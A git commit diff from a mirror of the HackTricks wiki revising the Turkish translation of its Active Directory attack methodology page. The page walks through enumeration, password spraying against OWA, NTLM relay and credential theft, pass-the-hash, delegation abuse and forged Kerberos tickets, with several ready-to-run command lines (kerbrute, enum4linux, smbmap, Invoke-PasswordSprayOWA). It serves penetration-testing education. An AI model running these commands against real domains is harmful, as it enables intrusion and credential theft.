mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
parent
599a32102c
commit
57862cfc96
@ -268,6 +268,7 @@
|
||||
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
|
||||
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
|
||||
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
|
||||
- [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
|
||||
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Active Directory Metodolojisi
|
||||
# Active Directory Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**Active Directory**, **ağ yöneticileri**'nin bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlayan temel bir teknolojidir. Ölçeklenebilir şekilde tasarlanmış olup, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol etmeyi kolaylaştırır.
|
||||
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birden fazla ağacın **güven ilişkileri** aracılığıyla birbirine bağlı olduğu yapıyı temsil eder. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder; bu, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
|
||||
**Active Directory** içindeki anahtar kavramlar şunlardır:
|
||||
|
||||
@ -14,9 +14,9 @@
|
||||
2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder.
|
||||
3. **Alan** – Dizin nesneleri için bir konteyner görevi görür; bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur.
|
||||
4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır.
|
||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesidir ve aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
|
||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi olup, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
|
||||
|
||||
**Active Directory Alan Hizmetleri (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
|
||||
**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
|
||||
|
||||
1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir; **kimlik doğrulama** ve **arama** işlevlerini içerir.
|
||||
2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler.
|
||||
@ -29,7 +29,7 @@ Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Direc
|
||||
|
||||
### **Kerberos Kimlik Doğrulaması**
|
||||
|
||||
Bir AD'yi **saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\
|
||||
Bir AD'yi nasıl **saldıracağını** öğrenmek için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\
|
||||
[**Nasıl çalıştığını hala bilmiyorsanız bu sayfayı okuyun.**](kerberos-authentication.md)
|
||||
|
||||
## Hile Sayfası
|
||||
@ -41,14 +41,14 @@ AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi h
|
||||
|
||||
## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok)
|
||||
|
||||
Bir AD ortamına erişiminiz varsa ancak herhangi bir kimlik bilgisi/oturum yoksa şunları yapabilirsiniz:
|
||||
Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz:
|
||||
|
||||
- **Ağı test et:**
|
||||
- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları sömürmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)).
|
||||
- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın.
|
||||
- **Smb hizmetlerinde null ve Misafir erişimini kontrol etin** (bu modern Windows sürümlerinde çalışmayacaktır):
|
||||
- **Smb hizmetlerinde null ve Guest erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
@ -68,11 +68,11 @@ Bir AD ortamına erişiminiz varsa ancak herhangi bir kimlik bilgisi/oturum yoks
|
||||
|
||||
- **Ağı zehirle**
|
||||
- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın.
|
||||
- [**Relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir hosta erişin.
|
||||
- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir hosta erişin.
|
||||
- Kimlik bilgilerini **sahte UPnP hizmetlerini** [**evil-S ile**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile açığa çıkararak toplayın.
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) ve ayrıca kamuya açık kaynaklardan kullanıcı adlarını/isimlerini çıkarın.
|
||||
- Şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan.
|
||||
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Araçlar:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -81,7 +81,7 @@ Bir AD ortamına erişiminiz varsa ancak herhangi bir kimlik bilgisi/oturum yoks
|
||||
|
||||
- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin.
|
||||
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek ve bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
|
||||
- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Bu yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için MS-NRPC arayüzüne bağlandıktan sonra `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir.
|
||||
- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için MS-NRPC arayüzüne bağlandıktan sonra `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -108,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz.
|
||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bu ([**istatistiksel olarak muhtemel kullanıcı adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz.
|
||||
>
|
||||
> Ancak, bu adımda daha önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz.
|
||||
|
||||
@ -116,7 +116,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir.
|
||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı veriler içerecektir.
|
||||
- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!).
|
||||
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**.
|
||||
|
||||
@ -126,7 +126,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Zehirleme
|
||||
|
||||
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **edinebilirsiniz**:
|
||||
**Ağ** protokollerini **zehirleyerek** bazı zorluk **hash'lerini** **elde etme** şansınız olabilir:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -136,9 +136,9 @@ Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehir
|
||||
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz.
|
||||
|
||||
### NTLM Kimlik Bilgilerini Çalmak
|
||||
### NTLM Kimlik Bilgilerini Çalma
|
||||
|
||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, erişildiğinde **NTLM kimlik doğrulamasını tetikleyecek** (örneğin bir SCF dosyası gibi) **dosyalar yerleştirebilirsiniz**; böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya erişildiğinde **sizinle NTLM kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -160,13 +160,13 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
|
||||
|
||||
[**ASREPRoast**](asreproast.md) ile artık her olası savunmasız kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile ele geçirilen hesabın şifresini, boş şifreleri ve yeni umut verici şifreleri deneyebilirsiniz.
|
||||
|
||||
- [**CMD ile temel bir keşif yapabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/index.html) bu daha gizli olacaktır
|
||||
- Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md)
|
||||
- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb.
|
||||
- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir.
|
||||
- Dizin listelemek için kullanabileceğiniz **GUI'li bir araç** **AdExplorer.exe**'dir, **SysInternal** Suite'ten.
|
||||
- Dizin listelemek için kullanabileceğiniz bir **GUI aracı** **SysInternal** Suite'den **AdExplorer.exe**'dir.
|
||||
- Ayrıca _userPassword_ & _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
|
||||
- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı da listeleyebilirsiniz.
|
||||
- Ayrıca otomatik araçlar denemek isteyebilirsiniz:
|
||||
@ -190,13 +190,13 @@ kerberoast.md
|
||||
|
||||
### Uzaktan bağlantı (RDP, SSH, FTP, Win-RM, vb.)
|
||||
|
||||
Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz, port taramalarınıza göre.
|
||||
Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, port taramalarınıza göre farklı protokollerle birkaç sunucuya bağlanmayı denemek için **CrackMapExec** kullanabilirsiniz.
|
||||
|
||||
### Yerel Yetki Yükseltme
|
||||
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile diğer kullanıcıların **hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır.
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır.
|
||||
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında kapsamlı bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
|
||||
### Mevcut Oturum Biletleri
|
||||
|
||||
@ -210,17 +210,17 @@ Mevcut kullanıcıda **beklenmedik kaynaklara erişim izni veren** **biletler**
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.**
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** zorlayabilirsiniz.**
|
||||
|
||||
### Bilgisayar Paylaşımlarında Kimlik Bilgilerini Ara | SMB Paylaşımları
|
||||
|
||||
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan ilginç dosyaları bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
|
||||
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan** herhangi bir **ilginç dosya bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
|
||||
|
||||
[**Kullanabileceğiniz araçlar hakkında bilgi almak için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
[**Kullanabileceğiniz araçlar hakkında bilgi edinmek için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### NTLM Kimlik Bilgilerini Çal
|
||||
|
||||
Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde, **sizinle NTLM kimlik doğrulaması tetikleyecektir** böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde, **sizinle NTLM kimlik doğrulaması tetiklenecektir** böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -234,20 +234,20 @@ Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıc
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Aktif Dizin'de Yetki Yükseltme Özel Yetkiler/Kimlik Bilgileri ile
|
||||
## Aktif Dizin'de Yetki Yükseltme ÖZEL yetkiler/oturum ile
|
||||
|
||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kimlik bilgilerine ihtiyacınız var.**
|
||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkiler/kimlik bilgilerine ihtiyacınız var.**
|
||||
|
||||
### Hash çıkarımı
|
||||
|
||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere, yerel bir yönetici hesabını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\
|
||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehlikeye atmayı başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\
|
||||
Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\
|
||||
[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Hash'i Geç
|
||||
|
||||
**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
[**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Hash'i Aş/ Anahtarı Geç
|
||||
@ -260,13 +260,13 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Bileti Geç
|
||||
|
||||
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içinde kaynaklara ve hizmetlere yetkisiz erişim sağlar.
|
||||
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini çalar**; bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Kimlik Bilgileri Yeniden Kullanımı
|
||||
### Kimlik Bilgilerini Yeniden Kullanma
|
||||
|
||||
Eğer bir **yerel yönetici**'nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz.
|
||||
```bash
|
||||
@ -299,8 +299,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Sınırlı Delegasyon
|
||||
|
||||
Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\
|
||||
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz.
|
||||
Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcıyı taklit ederek bir bilgisayardaki bazı hizmetlere erişim** sağlayabilir.\
|
||||
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişim sağlayabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Gümüş Bilet
|
||||
|
||||
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve bunu **NTLM hash**'ini kullanarak gerçekleştirir (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
|
||||
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve bunu **NTLM hash**'ini kullanarak gerçekleştirir (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişim** sağlamak için kullanılır.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -416,7 +416,7 @@ golden-ticket.md
|
||||
|
||||
### Elmas Bilet
|
||||
|
||||
Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir.
|
||||
